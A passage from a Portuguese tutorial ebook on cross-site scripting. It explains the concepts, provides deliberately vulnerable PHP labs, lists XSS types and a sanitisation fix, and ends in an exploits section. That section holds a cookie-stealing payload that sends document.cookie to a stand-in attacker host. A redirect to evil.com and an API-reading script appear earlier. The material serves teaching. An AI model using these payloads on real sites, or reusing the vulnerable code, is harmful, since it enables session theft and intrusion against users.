Cross Site Scripting explicado de

maneira profunda.

F
FOORRMMMMIINNGG
H
HAACCKKEERRSS
(Ismael Oliveira)
(1) O QUE É XSS

(2) COMO
ENCONTRAR XSS

(3) TIPOS DE XSS

(4) COMO CORRIGIR

XSS

(5) EXPLOITS XSS

(6) SOBRE O AUTOR

 O QUE É XSS?

XSS é a abreviação para "Cross Site

Scripting", muito show, mas você
deve está pensando: "De onde vem
este X?", esta é uma ótima
pergunta, vamos entender o porquê:

O motivo de ter este "X" em sua

abreviação é por uma convenção,
convencionou-se que toda
vulnerabilidade, ataque, exploração
que tenha em seu nome este "Cross"
seja abreviado com este "X",
podemos observar outros como
exemplo, veja:

XST - Cross Site Tracing

XSF - Cross Frame Scripting
XSRF - Cross Site Request Forgery
Interessante, então agora
conseguimos matar a curiosidade do
porque este "X", show, mas o que de
fato quer dizer isto de "Cross Site"?

Observe a tradução:

Cross Site => Site Cruzado / Entre

Sites

Com isto conseguimos ter uma idéia

de que XSS será algo entre dois ou
mais sites. show! Prosseguimos...

Surge e próxima pergunta:

O que ele quer dizer com "site"?

Observe:

site -> Associamos a por exemplo

"facebook.com" ou "google.com"

Então:
Site => Domínio

Podemos dizer por exemplo: "Cross

Domain Scripting" (Seria XDS haha :)

Legal, mas e o "Script"?

Ah, este é fácil, isto quer se

referenciar a:

Scripts WEB

Vale ressaltar que existe diferenças

entre linguagens de script para
linguagens de programação,
interpretadas, compiladas, mas não
vem ao caso aqui, vamos ser direto
ao ponto:

Linguagens de Scripts WEB quer se

referênciar a linguagens como por
exemplo:

Javascript, VBScript, Pyscript

Outro ponto a ressaltar: Observe que
analisando bem na ponta da caneta,
aqui estamos dando atenção apenas
para o lado de linguagens sendo
interpretadas, entendidas pelo
navegador, claro temos outros
pontos a analisar sobre as
linguagens de scripts e sua
execução, interpretação, você pode
chegar a uma ideia de "Cross Site
Scripting" além do lado de
navegadores, mas não vem ao caso
aqui este detalhe, aqui vamos
prosseguir na ideia de navegadores,
após este entendimento as outras
portas podem se abrir para maiores
entendimentos, então seguimos
diretamente ao ponto de maneira
simples, clara e direta:

Podemos entender que Linguagens

de Scripts como Javascript, VBScript
e pyscript são linguagens
executadas/interpretadas pelos
navegadores, então pensamos:

"Cross Site Scripting" será a ideia de

ter um único código de script que
tem o poder de interagir com dois ou
mais sites (domínios), certo?

Sim! Exatamente!

Um único código de script que pode

ser escrito em Javascript, VBScript
ou Pyscript por exemplo.

Bingo!

Aposto 10 reais que você só viu por

aí falando de XSS com Javascript,
certo? :) haha

Mas sim, saiba que ele pode ser

explorado com outras linguagens.

Hmm, acabamos de falar algo

interessante, "explorado".
O que de fato é essa "Exploração"?

É muito comum ouvir explicações sobre

XSS dizendo que é uma coisa chamada
"Vulnerabilidade", mas o que é
"Vulnerabilidade"?

Seguindo a própria amiga Wikipédia

temos:

Vulnerabilidade refere-se à "qualidade

ou estado de exposição à possibilidade
de ser atacado ou prejudicado, física ou
emocionalmente." -
https://en.wikipedia.org/wiki/Vulnerab
ility

Espere, "física" ou "emocionalmente",

então isso significa que
"Vulnerabilidade" não se aplica apenas
a "computadores"?

Exatamente! Este conceito de

vulnerabilidade não é exclusivo de
Computadores, pode ser utilizado
em outros contextos além deste, por
exemplo:

Vulnerabilidade Social -
https://pt.wikipedia.org/wiki/Vulner
abilidade_social

Adulto Vulnerável -
https://en.wikipedia.org/wiki/Vulner
able_adult

Espécies Vulneráveis -
https://en.wikipedia.org/wiki/Vulner
able_species

E por fim, em nosso caso:

Vulnerabilidade em Computador -
https://en.wikipedia.org/wiki/Vulner
ability_(computing)

Seguindo o próprio texto de

Wikipédia, vejamos:
Vulnerabilidades são falhas em um
sistema de computador que
enfraquecem a segurança geral do
dispositivo / sistema.

Vulnerabilidades podem ser pontos

fracos no próprio hardware ou no
software executado no hardware.
Vulnerabilidades podem ser
exploradas por um ator de ameaça,
como um invasor, para cruzar limites
de privilégios (ou seja, executar
ações não autorizadas) dentro de um
sistema de computador.

Para explorar uma vulnerabilidade,

um invasor deve ter pelo menos uma
ferramenta ou técnica aplicável que
possa se conectar a uma fraqueza do
sistema. Nesse quadro, as
vulnerabilidades também são
conhecidas como superfície de
ataque.
Observe:

" Vulnerabilidades podem ser pontos

fracos no próprio hardware ou no
software executado no hardware.
Vulnerabilidades podem ser
explorado por um ator de ameaça,
como um invasor, para cruzar limites
de privilégios (ou seja,. executar
ações não autorizadas) dentro de um
sistema de computador."

Ou seja:

Vulnerabilidade é algo suscetível a

um ataque, pode vir alguém ou algo
e tirar proveito daquilo, isto então é
estar "Vulnerável".

Opa, então voltamos a pergunta:

"O que de fato é exploração?"

Exploit - Um código malicioso, algo

que tira proveito de uma
vulnerabilidade.

Então "Explorar" em nosso sentido

de computadores será você ter uma
Vulnerabilidade e de alguma forma
conseguir tirar proveito dela.

Hmm, interessante, agora pense:

É muito comum quando pesquisamos

sobre XSS se deparar com o seguinte
exemplo:

<script>alert(1)</script>

que é básicamente um código de

script ("javascript") que mostra um
pop-up com o número 1 dentro,
geralmente isso é Injetado dentro de
alguma input HTML (caixinha de
escrever em um site).

Pense:
Quando você faz essa injeção de
<script>alert(1)</script> em um site
e esse código é executado, você está
deixando aquele site vulnerável ou
está tirando proveito desta situação
que é ele te deixar escrever
caracteres especiais como >/< que
com isto você consegue injetar tag
de <script>?

Você deixa está deixando ele

vulnerável ou está explorando isto
dele?

Bom, analisando bem, parece que

você está tirando proveito desta
situação, concorda comigo ou não?

Hmm, vamos pensar outra coisa:

Imagine que você está um site, neste

site tem uma funcionalidade de
enviar arquivos, mais
especificamente Upload de Arquivos.
Mas você analisa que ele está
deixando você realizar upload de
Qualquer tipo de arquivo, como por
exemplo: um .pdf, .png, .jpg, .svg,
.qualquer coisa, então pense:

Código Javascript pode ficar no meio

de HTML, então você pode ter um
arquivo .html com código javascript
dentro. Legal, então você cria um
arquivo, escreve <script>alert(1)
</script> dentro dele e salva esse
arquivo com a extensão final .html,
faça upload desse arquivo no site e
veja o que acontece.

Advinha...

Vai executar o seu amigo pop-up

com número 1 dentro.

Opa, então observe: Tivemos o

chamado XSS em dois contextos
diferentes, um dentro de uma input,
outro porque criamos um arquivo
.html e colocamos um javascript
dentro dele. Na realidade podemos
até variar isto, também podemos
criar um arquivo .svg com javascript
dentro ou mesmo um .php, faça o
teste você mesmo...

Opa, espere, analise:

"Vulnerabilidade é algo que está

suscetível a um ataque, exploração,
pode vir alguém e tirar proveito
disso."

Bom, aparentemente podemos

observar que Vulnerabilidade é algo
único, não?

Também costumamos dizer que para

toda vulnerabilidade irá existir uma
correção/mitigação, então observe:

Tivemos dois contextos de XSS

diferentes, em um foi pelo motivo de
o site não fazer uma limpeza
adequada do que o usuário escrevia,
então deixava passar caracteres
especiais de >/< que dava a
possibilidade de escrever código
javascript, em outro temos que o
site permitia o envio de qualquer
tipo de arquivo e assim pode-se criar
um arquivo malicioso com javascript
dentro, observe que para corrigir um
é totalmente diferente de outro.

De modo geral chegamos a uma

conclusão que:

A real vulnerabilidade que está

acontecendo é a FALTA DE
LIMPEZA/SANITIZAÇÃO DE ENTRADA
DO USUÁRIO, esta é a
vulnerabilidade, ou melhor, esta é a
ideia do que está acontecendo
nestes dois contextos, um não
limpou textos enviados pelo usuário,
outro não limpou/filtrou
adequadamente os tipos de arquivos
enviados pelo usuário, é aí nestes
pontos que estão morando as
Vulnerabilidades/Falhas e o XSS que
atacantes realizam nestes contextos
na realidade é o "Tirar proveito
dessa situação", ou seja:

XSS na realidade é um EXPLOIT, é

uma maneira/forma de tirar
proveito de uma vulnerabilidade,
assim injetando código malicioso de
script que consegue interagir com
dois ou mais sites (domínios).

Observe novamente:

"Vulnerabilidade é algo suscetível a

um ataque/exploração."

Quando você aproveitou da falta de

limpeza do que escrevia e do envio
de arquivo malicioso, você deixou
aquele ambiente vulnerável ou tirou
proveito daquela situação?

Faça na prática você mesmo:

Para reproduzir estes exemplos,

baixe em seu computador o
programa XAMPP (servidor local),
entre na pasta DASHBOARD, crie
uma pasta para armazenar este seus
laboratórios de testes e crie
arquivos com os seguintes códigos:

(Pesquise sobre tutoriais de XAMPP

para conseguir prosseguir caso não
conheça.)

Vamos aos laboratórios...

LABORATÓRIO - FALTA DE LIMPEZA DE
ENTRADA DO USUÁRIO AO ESCREVER
EM UMA INPUT HTML

Código HTML:

<!DOCTYPE html>
<html lang="pt-br">
<head>
<title>vuln</title>
<meta charset="utf-8">
</head>
<body>
<h1>Eu sou vulnerável</h1>

<form method="GET"
action="dados.php">
<label for="_n">Digite seu nome:
</label>
<input type="text" id="_n"
name="_nome">
<input type="submit">
</body>
</html>
Código PHP:

<?php

$nomeDaPessoa=$_GET['_nome'];

echo "Olá ".$nomeDaPessoa." seja

bem vindo(a) ao nosso site!";

?>

Salve o arquivo HTML como:

form.html

O arquivo PHP como:

dados.php

Pronto, laboratório criado, só entrar

no formulário html e testar o
ambiente vulnerável.
LABORATÓRIO - Upload de arquivo
sem filtro de segurança:

Código HTML:

<!DOCTYPE html>
<html lang="pt-br">
<head>
</head>
<body>

<h1>Sou vulnerável</h1>

<form action="up.php"
method="post"
enctype="multipart/form-data">

<input type="file" name="upfile">

<input type="submit"
name="submit">

</form>
</body>
</html>
Código PHP:

<?php

$arquivo = $_FILES['upfile']['name'];
$pasta = "up/";

move_uploaded_file($_FILES['upfile']
['tmp_name'], $pasta.$arquivo);

?>

Salve o código HTML em um arquivo

chamado: form.html

Salve o código PHP em um arquivo

chamado: up.php

Crie na mesma pasta (diretório) onde

estão estes arquivos outra pasta
chamada "up", se você estiver em
ambiente Linux terá que dar
permissão de leitura e escrita.
Show! Após montar e e testar estes
laboratórios com <script>alert(1)
</script> acredito que você já
validou o que mencionamos acima,
mas agora surge outra pergunta:

Se XSS é script entre sites, ONDE É

que esse <script>alert(1)</script>
está interagindo com dois sites????

E posso dizer, essa é uma ótima

pergunta!

Se parar para analisar, sim, de fato

este famoso alert(1) não está
interagindo com dois ou mais sites,
ele só está interagindo com um site
que é o vulnerável, então isto não
pode ser considerado "Cross Site
Scripting", Bingo! Achamos um ponto
interessante!

Script Injection
É muito comum as pessoas
confundirem Script Injection com
"Cross Site Scripting", isto porque
tem certas semelhanças, ok, legal,
mas o que é Script Injection?

Script Injection é quando o

atacante/hacker/explorador tem a
capacidade de injetar um script
malicioso, mas esse Script só está
sendo executado no site/host
vulnerável, este script não está
fazendo interação com outro
site/host, apenas no ambiente
vulnerável, então quando fizemos
alert(1) que só foi executado no site
vulnerável, isto era um Script
Injection.

Ok, mas e um Cross Site Scripting?

Qual exemplo podemos ter?

Irei dar um exemplo simples:

<script>document.location='https://
evil.com';</script>

Este script acima quando injetado no

ambiente vulnerável irá realizar um
redirecionamento do site/host
vulnerável para outro domínio/site,
então observe que primeiro este
script será interpretado dentro de
um site para depois interagir com
outro site, Bingo! Isto é um "Cross
Site Scripting" ! :)

Rápida explicação sobre o código

malicioso:

Simplesmente ele diz: "Olha, acesse

o site/documento aqui, vá na URL
dele/Location e altere para esta
outra URL aqui (https://evil.com)."

Neste ponto acredito que você

compreendeu O que é XSS, agora...
 COMO ENCONTRAR
XSS?

Com a explicação sobre O que É XSS

fica fácil de compreender o Como
Encontrar XSS, observe:

Tivemos dois contextos diferentes,

em um aproveitamos de não existir
nenhuma limpeza do que o usuário
escrevia em uma input html, em
outro porque tinha a possibilidade
de enviar qualquer tipo de arquivo
para o servidor. Qual a conclusão
que podemos chegar?

Podemo chegar a conclusão que para

encontrar XSS basta encontrar
alguma possibilidade de entrada do
usuário que não tenha nenhum filtro
de limpeza e que neste lugar você
tenha a possibilidade de injetar um
código de script e este código de
script irá cair em um algum lugar
que ele possa ser executado.

O mais clássico e fácil de todos é

quando você tem o contexto de:

Uma input html onde você escreve

alguma coisa e aquela coisa que você
escreveu aparece para você de volta
em sua tela do navegador, neste
ponto então você lembra que na
realidade quem executa HTML, CSS,
Javascript é o navegador, então se
você injetar um Tag de script ali e
essa sua tag de script voltar para
você na sua tela do navegador, o seu
navegador vai olhar aquela tag de
script e dizer: "Aaah, esse é meu
velho amigo Javascript, vou executar
ele!", então o Seu Navegador que irá
executar o Javascript malicioso, da
mesma forma se você ao invés de
injetar uma tag de <script> você
injetar uma tag de HTML como por
exemplo <h1>teste</h1> ou <img
src="https://images-wixmp-
ed30a86b8c4ca887773594c2.wixmp.c
om/intermediary/f/d8328f77-2bec-
4a20-9483-ea76dd62985e/dan31sc-
80f18518-0ef0-4bdc-9c0a-
11c9e62b769f.png"> ou ainda se você
injetar uma tag de CSS como
<style>body{background-color:
green;}</style> você irá perceber
que elas irão executar. Opa, pare e
observe:

Injetando estas outras Tags que é

HTML e CSS, isto Não É mais "script",
então o que é isto?

Novamente, Ótima pergunta!

veja:
HTML Injection

https://owasp.org/www-project-
web-security-testing-guide/latest/4-
Web_Application_Security_Testing/1
1-Client-side_Testing/03-
Testing_for_HTML_Injection

CSS Injection

https://owasp.org/www-project-
web-security-testing-guide/v41/4-
Web_Application_Security_Testing/1
1-Client_Side_Testing/05-
Testing_for_CSS_Injection

Acesse estes links acima e veja que a

própria OWASP (Open Web
Application Security Project) irá
definir estes dois como
"Vulnerabilidade", mas será mesmo
"vulnerabilidade"?
Olhando profundamente, na
realidade, Não, Não são
"vulnerabilidades", pois da mesma
forma que observamos sobre o
Script Injection e XSS, estes dois
também estão tirando proveito da
situação, eles podem ser colocados
em prática semelhante ao Script
Injection/XSS que realizamos,
maas...

Tem um ponto importante aqui, sim!

O que você acabou de ler é real, sim!
Não são vulnerabilidades, são
exploits, mas acontece que em nosso
dia a dia acabamos dizendo
"vulnerabilidade" para simplificar as
coisas e não ser "chato" ao extremo,
imagine...

Você está participando de uma

reunião com sua equipe de trabalho,
aí o seu amigo diz:
 - Pessoal, semana passada encontrei
uma vulnerabilidade de XSS e HTML
Injection no site da empresa.

Aí você vai interromper ele para

dizer:

- NÃO, não, não, XSS e HTML

Injection É Exploit, você está errado!

Pô, seria um pouco chato não? haha

Então no dia a dia falamos

"vulnerabilidades" para facilitar as
coisas e não ser o "chato da turma",
mas claro, é muito importante saber
que existem essas diferenças e
pensamentos sobre o assunto.

Show! Então, para encontrar XSS,

HTML Injection e CSS Injection (na
realidade outros também, mas não
vem ao caso aqui neste ebook), você
pode seguir a linha de pensamento
em encontrar algum ponto e
entrada/escrita que te dê a
possibilidade de escrever algo e esse
algo reflete de volta para você em
sua tela do navegador, então você
injeta código de Script, HTML ou CSS
malicioso.

Pense mais um pouco:

Isto significa: QUALQUER Lugar que

você escreve e reflete de volta para
você na tela ou ALGUMA ENTRADA
como por exemplo o Upload de
Arquivo.

Então você pode trazer um XSS em

diferentes lugares/contextos, varia
de contexto para contexto, tudo
depende da entrada do usuário,
agora se limpou ou não tem entrada
do usuário, acaba ficando
impossibilitado de testar um XSS ali
naquele lugar, porque você precisa
de lugar para escrever ou mandar
alguma coisa para ser refletida na
tela do navegador. (Observação:
Novamente eu digo que aqui neste
ebook estamos limitando a ideia de
XSS em navegadores/web, claro,
pode ser muito mais, mas seguimos
aqui no contexto WEB.)

Show, com isto então pensamos:

Se existem diversas maneiras para

chegar em um XSS, então existem
variados Tipos de XSS, certo?

R: Sim!
 TIPOS DE XSS

Sim! Existem variados tipos de XSS,

cada um varia de acordo com o
contexto que ele está, cada situação
é uma situação, não devemos tratar
tudo igual.

Vejamos:

XSS REFLETIDO

Este na realidade é o mais famoso e

mais clássico de todos, você tem um
XSS do tipo refletido quando tem a
possibilidade de injetar código de
script malicioso e este seu código
tem a possibilidade de ser enviado
para outras pessoas, ou seja:
Vítimas.
Se você tem um contexto onde
consegue injetar um código
malicioso e tem a possibilidade de
Compartilhar este código malicioso
com alguém, então este é um XSS
Refletido. Este tipo de contexto é
muito comum e Principal quando
temos por exemplo a possibilidade
de Infectar uma URL, dessa forma
podemos compartilhar esta URL
Infectada com as pessoas (vítimas).

Outro detalhe também é:

Observe, "Refletido", como um

"Reflexo do espelho", ou seja:

Colocou, refletiu, retirou, parou de

refletir.

Ou seja: Você precisa ter um

contexto semelhante a um reflexo
de espelho e ao mesmo tempo poder
compartilhar isto com outras
pessoas (vítimas).

É muito comum as pessoas

confundirem este tipo de XSS com
outro chamado:

SELF XSS

Self-xss na realidade tem dois

significados, vejamos o primeiro
deles:

Self-xss é quando você tem a

capacidade de injetar código
malicioso, mas este código só será
executado para você, você não tem a
possibilidade de compartilhar este
código malicioso com outras
pessoas, ele só acontece para você,
então por isto "SELF", "auto/eu".

Logo podemos observar que este

tipo de contexto por não ter a
possibilidade de ter vítimas, então
não tem muito impacto, certo?

Sim! De fato não há muito o que

fazer nesta situação, por isto é
muito comum das pessoas
ignorarem este tipo de problema, em
programas de Bug Bounty por
exemplo a maioria nem aceita
relatório de Self-XSS, PORÉM, não
podemos ignorá-lo assim.

Na realidade dependendo do
contexto onde você está, você ainda
consegue demonstrar um certo
impacto com este problema de SELF-
XSS, posso dar um exemplo, veja:

Imagine que você encontrou um

SELF-XSS em um subdomínio do
facebook.com, pô, cá entre nós, no
facebook.com, é outro patamar não?
Vai deixar por aí?

Brincadeiras a parte, prosseguimos...

Pense: Óbviamente o facebook tem
muitas API's (Application
Programming Interface), as API's
precisam ser configuradas por uma
coisa chamada CORS (Cross-Origin
Resource Sharing), e se tiver alguma
API sensível com uma Configuração
Incorreta (misconfiguration)?

Imagine, uma API do Facebook

sensível que dentro dela pode trazer
dados sensíveis de seus usuários ao
ser consumida/utilizada.

Contexto: Imagine esta API estar

configurada para poder ser utilizada
por Qualquer Subdomínio do
Facebook, hmm, interessante não?

Com isto, pense: E se você criar um

código de script malicioso que
consiga interagir com esta API do
Facebook a partir deste subdomínio
onde você está com este SELF-XSS?
BINGO!

Sim! Você neste contexto pode fazer

isto, na prática você pode utilizar
uma coisa chamada
HTMLHTTPRequests() / Ajax, veja:

XMLHttpRequest (XHR) é uma API

disponível em linguagens de script
para navegadores web tais como
JavaScript. É utilizada para enviar
requisições HTTP ou HTTPS
diretamente para um servidor web e
carregar os dados de resposta do
servidor diretamente de volta ao
script. Apesar do nome
XMLHttpRequest, os dados podem
ser recebidos do servidor através de
JSON, XML, HTML, ou como texto
puro. - Wikipédia (Link:
https://pt.wikipedia.org/wiki/XMLHt
tpRequest)
o seu código de exploit final pode
ficar da seguinte maneira:

<script>
var xml= new XMLHttpRequest();

xml.open('GET','https://apifacebook')
;
xml.send();

xml.onreadystatechange = function()
{

if(xml.readyState == 4 &&
xml.status == 200){

document.write(xml.response);

}
}
</script>
Injetando este código malicioso no
ambiente /vulnerável/ a SELF-XSS
que neste caso de exemplo é o
subdomínio do facebook, etão este
script será executado em
subdominio.facebook.com e ao
mesmo tempo irá interagir com
outro domínio/site que neste caso é
a api do facebook, BINGO! Cross Site
Scripting! (self).

Então observe que com isto

conseguimos demonstrar impacto
em um SELF-XSS, um tipo de XSS
Muitas vezes ignorado, sendo que
poderia ser aproveitado e muito bem
aproveitado.

Ok, agora, qual é o outro lado da

moeda de SELF-XSS? O outro
significado?
SEGUNDO TIPO SELF-XSS

O outro sentido em relação a SELF-

XSS está relacionado a quando o
atacante/hacker induz a vítima
executar algum código malicioso no
console do navegador dela.

Os navegadores web tem uma

funcionalidade que é o Console, faça
assim: Aperte a tecla F12 do seu
teclado ou dentro de um site
qualquer aperte o botão direito do
seu mouse e vá na opção de
Inspecionar o Elemento, você vai
perceber que irá aparecer uma
janela do navegador com diversas
opções, uma delas é o Console do
Navegador, neste lugar é como se
fosse um "terminal de javascript",
neste lugar você consegue executar
código de script diretamente, então
pense: E se você criar um código
malicioso de script e utilizar da
chamada Engenharia Social para
induzir as pessoas a executarem
este seu códio malicioso no console
do navegador delas?

Bingo! Aí nasce o SELF-XSS!

Embora parece muito estranho, do

tipo "Quem vai fazer uma coisa
dessa? está na cara que é perigoso!",
na realidade, sim! Isso acontece e
muito!

Para lhe explicar isto, vamos voltar

um pouco na história.

Não sei se você leitor utilizava muito

o Facebook nos anos de 2015/2016,
mas nestes tempos era muito
comum as pessoas procurarem
sobre: "Como Personalizar o Meu
Facebook", estava uma onda disso,
muitas pessoas querendo deixar a
aparência do Facebook de outra
forma, então estava "chovendo"
tutoriais no YouTube ensinando a
modificar a aparência do site
facebook.com, e advinha como eram
os tutoriais...

Códigos de Javascript para serem

executados nos navegadores.

Os tutorias diziam que era para as

pessoas abrirem o console do
navegador e executar o código que
estava ali disponibilizado, dessa
forma se alterava a aparência do
Facebook. E sim, de fato podiam
modificar a aparência, mas por trás...

Estes códigos ao serem escritos de

má fé, podiam interagir com coisas
sensíveis da conta do usuário,
podendo até realizar o Roubo de
Cookie de Sessão de Usuário (Cookie
Stealing). Mas claro, as pessoas de
modo geral nem imaginavam o
tamanho perigo disto, apenas
pegavam os códigos e executavam,
pois queriam alterar a aparência do
Facebook.

Ainda nesta linha de pensamento do

Facebook, surge uma outra onda
(que inclusive esta é até nos dias de
hoje), a onda de pesquisas sobre:
"Como Hackear Um Facebook?",
advinha... É claro que os Hackers vão
se aproveitar disto...

Surgem então diversos tutoriais

ensinando a "Como Hackear
Facebook", seguindo a mesma linha:
"Vá no perfil do Facebook da pessoa
vítima, abra o console do Navegador
e execute este código, após isto você
terá invadido a conta da pessoa.",
obviamente não iria invadir nada,
seria o contrário, a própria pessoa
que se achava esperta é que está
sendo a "boba da corte".
Como resultado disto, o Facebook
decidiu deixar sempre um Alerta no
Console do Navegador, dessa forma
avisando para Ninguém executar
códigos ali, pois se trata de Golpes
(Self-XSS), veja:

Link: https://facebook.com/selfxss

Aqui exemplificamos com facebook,

mas na realidade este tipo de XSS
(SELF), pode ser aplicado em
qualquer site/domínio, pois é
executado diretamente no concole
do Navegador, o máximo que pode-
se fazer para evitar este tipo de
problema é deixar um aviso no
console do navegador para as
pessoas
não caírem em golpes ou a chamada
Engenharia Social.

XSS STORAGE/ARMAZENADO

Este tipo de XSS é quando temos o

contexto de que o nosso código de
script malicioso conseguiu ser
injetado, mas dessa vez ele não é
como um "reflexo de espelho", dessa
vez ele fica Armazenado naquele
ambiente. Para exemplificar de
maneira simples, observe:

Os comentários em publicações do
Facebook são armazenados, veja que
se você fizer um comentário em um
publicação hoje, pode passar 1 ano, 2
anos, 10 anos e ele ainda vai estar lá.
Observe também que este seu
comentário está visivelmente por
um navegador da web, então o que
pode acontecer se ao invés de você
escrever um comentário normal,
você injetar algum código de script
malicioso?

Se ali naquele lugar não estiver

sendo realizado nenhum tipo de
limpeza de entrada, bingo! Você terá
um XSS ARMAZENADO!

Podemos entender de maneira

simples que: XSS Armazenado é
quando nosso código malicioso fica
ali, "gravado no site", daí observe: É
SELF XSS ou XSS Refletido? :)
(Depende do contexto, mas ainda
sim será um armazenado, talvez por
exemplo pode ser um "SELF-XSS
Armazenado" ou refletido, depende.)

BLIND XSS

Este tipo de XSS é quando o

atacante/hacker tem a possibilidade
de injetar código de script malicioso,
mas dessa vez ele não tem acesso ao
resultado do script. Para entender de
maneira simples, vejamos:

Em sites geralmente encontramos

formulários para entrar em contato
com a empresa ou responsáveis
daquele site. Por exemplo:

Uma empresa que se chama Coruja

Imóveis, essa empresa tem o site
corujaimoveis.com e neste site tem
um lugar para entrar em contato
com a empresa, um formulário de
site de contato por e-mail, uma coisa
semelhante a:
observe que se você preencher este
formulário de contato, a sua
mensagem escrita, as coisas que
você escreveu não será refletida de
volta para você em sua tela do
navegador, isto será refletido na tela
lá da pessoa que irá visualizar esta
sua mensagem enviada por este
formulário, então pensamos:

Se você injetar um código malicioso

aí nete lugar você não terá como
saber se foi executado ou não,
também neste caso não sabemos o
quando essa pessoa irá visualizar
nossa mensagem enviada, talvez
pode demorar 1 mês ou mais, não
tem como saber, então mesmo se o
código for executado, pode demorar
para termos essa resposta, talvez
nem lembramos mais disto. Claro,
também observe que neste caso se
for executado é por motivo de ali
nestes campos de escrita do usuário
não ter nenhum tipo de filtro para
limpeza, então deixa escrever
caracteres especiais de >/< que dá a
possibilidade de injetar a tag
<script>.

Então por motivo de não saber o

"quando" e "se for executado", este
tipo de XSS também é chamado de
XSS BOMB (XSS Ticking Time Bomb),
XSS Bomba Relógio, pois não tem
hora e dia certo para ser
estourado/executado.

Ok, você deve estar se perguntando:

Então como posso tirar proveito

disto?

De maneira simples: Da mesma

forma que outros contextos XSS,
mas posso lhe dar uma boa notícia:

Para facilitar a sua vida, existe uma

ferramenta chamada XSS HUNTER,
link: https://xsshunter.com, esta
ferramenta pode lhe ajudar em
testes de BLIND XSS. O que ele faz?

R: Esta ferramenta irá montar para

você um código de script malicioso
que quando executado consegue
tirar uma captura de tela
(screenshot) e pegar os cookies
salvos naquele navegador e enviar
para você em seu Host do XSS
Hunter. Ou seja: Ele te dá um
Host/Domínio/Site dentro do XSS
Hunter que pode ser usado para o
"Cross Site Scripting", neste caso por
um código criado por eles mesmos,
então tudo o que você precisa fazer
é só espalhar os seus códigos
maliciosos de XSS Hunter por aí e
quando um deles for
executado/disparado,
automáticamente o XSS HUNTER irá
lhe avisar e lhe entregar tudo que
ele conseguiu capturar.

Além de XSS Hunter existem outras

ferramentas como por exemplo a
KNOXSS (Link: https://knoxss.me),
claro, se você quiser criar seu
próprio código, fique a vontade
também, inclusive, por trás de XSS
Hunter executa o XMLHTTPRequests
que vimos em SELF-XSS.

UNIVERSAL CROSS-SITE SCRIPTING /

UXSS

UXSS é um tipo de ataque que

explora vulnerabilidades do lado do
cliente nas extensões do navegador
ou do navegador para gerar uma
condição XSS e executar código
malicioso. Quando essas
vulnerabilidades são encontradas e
exploradas, o comportamento do
navegador é afetado e seus recursos
de segurança podem ser ignorados
ou desativados.

Referência:
https://www.acunetix.com/blog/arti
cles/universal-cross-site-scripting-
uxss/

Bom, como pode observar, na

realidade existe muitos tipos de XSS,
diversos contextos, cada um é
diferente do outro, podiamos ficar
aqui por longas páginas
apresentando diversos tipos, mas
irei facilitar para você leitor e irei
lhe dar uma referência bem legal:

Types of XSS - OWASP

Link: https://owasp.org/www-
community/Types_of_Cross-
Site_Scripting
 COMO
CORRIGIR XSS
Com todo o conhecimento adquirido
durante esta leitura do ebook,
pensamos: Como podemos corrigir
XSS?

Observando que tivemos contextos

diferentes voltamos naquele ponto:
XSS tira proveito da falta de
limpeza/filtragem de entrada do
usuário, aqui neste ebook
observamos um contexto onde o que
usuário escrevia não tinha nenhum
filtro de limpeza e o outro onde
arquivos de upload não passavam
por uma verificação de segurança.
Ainda observe seguindo o link de
referência da OWASP mencionado na
seção de Tipos de XSS que existem
outros contextos/tipos de XSS, como
por exemplo o DOM XSS ou mesmo
UXSS - Universal XSS (Link:
https://www.acunetix.com/blog/arti
cles/universal-cross-site-scripting-
uxss/), então de maneira geral
podemos dizer que cada contexto é
uma solução diferente, mas, ainda
de forma geral irei lhe entregar um
solução, esta solução será para o
filtro de segurança em entrada de
escrita do usuário, neste caso será a
solução do problema de nosso
primeiro laboratório.

Solução:

Filtros de Sanitização do PHP

(Observação: Aqui estamos partindo

do ponto de uso da linguagem PHP,
caso utilize outra linguagem, confira
a documentação da mesma,
provável ter algum tipo de solução
este problema de Falta de Limpeza
de entrada do usuário.)

Show, prosseguimos com PHP...

A Linguagem PHP lhe ajuda com

diversos filtros de Segurança para
Limpeza de Entrada do Usuário.

O PHP tem uma documentação

completa sobre:
https://www.php.net/manual/pt_BR/
book.filter.php

Seguindo esta documentação você

encontra:

Filtros de Sanitização:

https://www.php.net/manual/pt_BR/
filter.filters.sanitize.php

Filtro de Input HTML:

https://www.php.net/manual/pt_BR/
function.filter-input.php

Com isto conseguimos corrigir o

problema aplicando um filtro de
segurança do PHP, da seguinte
forma:

<?php

$nomeDaPessoa=filter_input(INPUT_
GET, '_nome',
FILTER_SANITIZE_SPECIAL_CHARS);

echo "Olá ".$nomeDaPessoa." seja

bem vindo(a) ao nosso site!";

?>

Fazendo isto, pronto! Problema

resolvido! Com isto todo caractere
especial de >/< será filtrado pelo PHP
e assim protegendo o nosso site da
injeção de códigos maliciosos (html,
css e Javascript).

Uma curiosidade: Já ouviu falar de

SQL Injection, SSRF, LFI, SSTI?.
Advinha, para resolver estes
problemas seguem a mesma linha de
pensamento, mesma coisa! :)

Claro, aqui resolvemos o problema

do primeiro laboratório, do segundo
laboratório é outro contexto
diferente, basta filtrar o tipo de
arquivo aceito e ignorar todos os
outros diferentes deste aceito.

Veja:

CWE-434

https://cwe.mitre.org/data/definitio
ns/434.html

Siga este link acima e leia esta

documentação, acredito que vai
gostar, tem muitas coisas
interessantes aí nesta CWE, claro,
também tem soluções para o
problema apresentado. :)
 EXPLOITS
XSS

Para ficar algo mais interessante,

vamos ver alguns exploits Para XSS?

Isto é interessante, pois dessa forma

você consegue abrir um leque de
pensamentos em relação ao assunto
e conseguir desenvolver novas
maneiras de aproveitar de nosso
amigo XSS.

Um detalhe: Muitas vezes eu

mencionei "XSS" durante o ebook de
maneira geral para ficar mais fácil a
compreensão, mas lembre-se que
existem as diferenças, só não seja
chato ao extremo o tempo todo haha
:)
EXPLOIT - COOKIE STEALING

Neste exploit apresentado abaixo

conseguimos realizar um Cookie
Stealing (roubo de cookie) do usuário
ao script ser carregado em seu
navegador:

<script>
var imag=new Image;
imag.src="https://sitedohacker"+doc
ument.cookie;
</script>

Detalhe:

Se você estiver injetando este código

malicioso em uma URL, deve
codificar o caractere de + no formato
Percent Encoding.

(Referência sobre Percent Encoding:

https://www.rfc-
editor.org/rfc/rfc3986#page-12)
O caractere de + codificado em
Porcentagem é: %2B, pois 2B é o
sinal de + em Hexadecimal, portanto
só adicionamos o % e pronto.

Então nosso exploit final fica:

<script>
var imag=new Image;
imag.src="https://sitedohacker"%2B
document.cookie;
</script>

Fazemos isto porque quando você

injeta em uma URL este exploit,
automaticamente o navegador irá
remover/apagar o sinal de +, então o
